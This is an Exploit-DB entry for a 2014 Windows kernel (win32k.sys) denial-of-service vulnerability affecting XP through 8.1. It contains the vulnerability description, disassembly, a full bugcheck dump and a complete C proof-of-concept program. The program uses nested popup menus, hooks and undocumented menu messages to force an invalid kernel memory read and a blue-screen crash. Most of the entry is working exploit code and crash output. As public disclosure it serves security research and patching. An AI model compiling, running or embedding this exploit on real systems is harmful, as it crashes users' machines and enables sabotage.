Microsoft Windows - 'win32k.sys' Denial of Service

EDB-ID:

35326

Author:

Kedamsky

Type:

dos

Platform:

Windows

Published:

2014-11-22

# Exploit Title: Microsoft Windows Win32k.sys Denial of Service
# Date: 20-11-2014
# Exploit Author: Kedamsky (kedamsky@mail.ru)
# Vendor Homepage: http://microsoft.com
# Software Link: http://www.microsoft.com/en-us/download/windows.aspx
# Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64)
# Tested on: [XP to 8.1 x86/x64]

Microsoft Windows win32k.sys DoS exploit
by Kedamsky
mailto:kedamsky@mail.ru


=========================
Vulnerability Description
=========================

The vulnerability exists in the function win32k!xxxMenuWindowProc. It
calls the function win32k!xxxMNOpenHierarchy that can return valid
pointer to data and 0 or -1 otherwise. The function
win32k!xxxMenuWindowProc does not validate the result of
win32k!xxxMNOpenHierarchy properly and it is possible to try to read
data from address -1.


===============
Vulnerable code
===============
8f584e72 85c0 test eax,eax
8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371)
8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1
...
8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260)
8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72)


================
Typical bugcheck
================

*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffffffff, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------


READ_ADDRESS: ffffffff 

FAULTING_IP: 
win32k!xxxMenuWindowProc+a09
8f584e7a 8b00 mov eax,dword ptr [eax]

MM_INTERNAL_CODE: 0

IMAGE_NAME: win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60

MODULE_NAME: win32k

FAULTING_MODULE: 8f480000 win32k

DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

BUGCHECK_STR: 0x50

PROCESS_NAME: DOS3_1E3.exe

CURRENT_IRQL: 2

TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64)
ErrCode = 00000000
eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270
eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!xxxMenuWindowProc+0xa09:
8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=????????
Resetting default scope

LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98

STACK_TEXT: 
9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction
9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c
9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d
9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a
9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc
9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09
9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4
9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c
9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27
9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6
9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a
0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet
0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc
0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5
0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c
0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22
0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100
0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21
0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24
0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e
0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc
0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68
0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23
0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b
0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7
0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c
0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41
0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7
0035f78c 76372af0 00a9a640 00000202 00000000 USER32!ButtonWndProcWorker+0x910
0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c
0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23
0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b
0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322
0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf
0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d
0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238]
0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe
0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23
0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: kb

FOLLOWUP_IP: 
win32k!xxxMenuWindowProc+a09
8f584e7a 8b00 mov eax,dword ptr [eax]

SYMBOL_STACK_INDEX: 5

SYMBOL_NAME: win32k!xxxMenuWindowProc+a09

FOLLOWUP_NAME: MachineOwner

FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09

BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09

Followup: MachineOwner
---------


================
Proof of Concept
================

//#include "stdafx.h"
#include <windows.h>

#define BSOD_BUTTON 0x9876

HMENU hMenu[3];
ULONG MenuLevel = 0;
HWND hTargetMenuWnd = 0;

void KeyEvent()
{
	INPUT input;
	memset(&input, 0, sizeof(input));
 	input.type = INPUT_KEYBOARD;
	input.ki.wVk = VkKeyScanA('1');
 
 	SendInput(1, &input, sizeof(input));

 	Sleep(50);
 
 	memset(&input, 0, sizeof(input));
	input.type = INPUT_KEYBOARD;
	input.ki.wVk = VkKeyScanA('1');
	input.ki.dwFlags = KEYEVENTF_KEYUP;
	SendInput(1, &input, sizeof(input));
}

LRESULT CALLBACK HookProc(
	int nCode, 
	WPARAM wParam,
	LPARAM lParam)
{
	if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL)
	{
		return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0);
	}

	return 0;
}

VOID CALLBACK WinEventProc(
	HWINEVENTHOOK hWinEventHook, 
	DWORD event, 
	HWND hWnd, 
	LONG idObject, 
	LONG idChild, 
	DWORD idEventThread, 
	DWORD dwmsEventTime)
{
	++MenuLevel;
		
	if (MenuLevel == 1)
	{
		KeyEvent();
	}
	else if (MenuLevel == 2)
	{
		SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
			
		hTargetMenuWnd = hWnd;
		SendMessage(hTargetMenuWnd, 0x1F2, 0, 0);
	}
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	switch (message)
	{
	case WM_COMMAND:
		if (LOWORD(wParam) == BSOD_BUTTON)
		{
			SetWinEventHook(
				EVENT_SYSTEM_MENUPOPUPSTART, 
				EVENT_SYSTEM_MENUPOPUPSTART,
				GetModuleHandleA(NULL),
				WinEventProc,
				GetCurrentProcessId(),
				GetCurrentThreadId(),
				WINEVENT_OUTOFCONTEXT);

			TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL);
		}
	case WM_DESTROY:
		PostQuitMessage(0);
		break;
	default:
		return DefWindowProcA(hWnd, message, wParam, lParam);
	}

	return 0;
}

int APIENTRY WinMain(
	_In_ HINSTANCE hInstance, 
	_In_opt_ HINSTANCE hPrevInstance, 
	_In_ PSTR lpCmdLine, 
	_In_ int nCmdShow)
{
    WNDCLASSA Class;
    Class.style = 0;
    Class.lpfnWndProc = WndProc;
    Class.cbClsExtra = 0;
    Class.cbWndExtra = 0;
    Class.hInstance = GetModuleHandleA(NULL);
    Class.hIcon = NULL;
	Class.hCursor = LoadCursor(0, IDC_ARROW);
    Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    Class.lpszMenuName = NULL;
    Class.lpszClassName = "MyWinClass";

	if (RegisterClassA(&Class) != NULL)
	{
		HWND hMainWnd = CreateWindowA(
			"MyWinClass", 
			"Microsoft Windows Win32k.sys Denial of Service Vulnerability", 
			WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE, 
			0, 0, 500, 200, 
			NULL, 
			NULL, 
			hInstance, 
			NULL);

		if (hMainWnd != NULL)
		{
			HWND hButton = CreateWindowA(
				"Button", 
				"Click me to see BSOD", 
				WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 
				150, 50, 200, 50, 
				hMainWnd, 
				(HMENU)BSOD_BUTTON, 
				hInstance, 
				NULL);
		
			if (hButton != 0)
			{
				hMenu[0] = CreatePopupMenu();
				hMenu[1] = CreatePopupMenu();
				hMenu[2] = CreatePopupMenu();

				AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1");
				AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1");
				AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1");

				MSG msg;
				while (GetMessage(&msg, NULL, 0, 0))
				{
					TranslateMessage(&msg);
					DispatchMessage(&msg);
				}
			}
		}
	}
    
    return 0;
}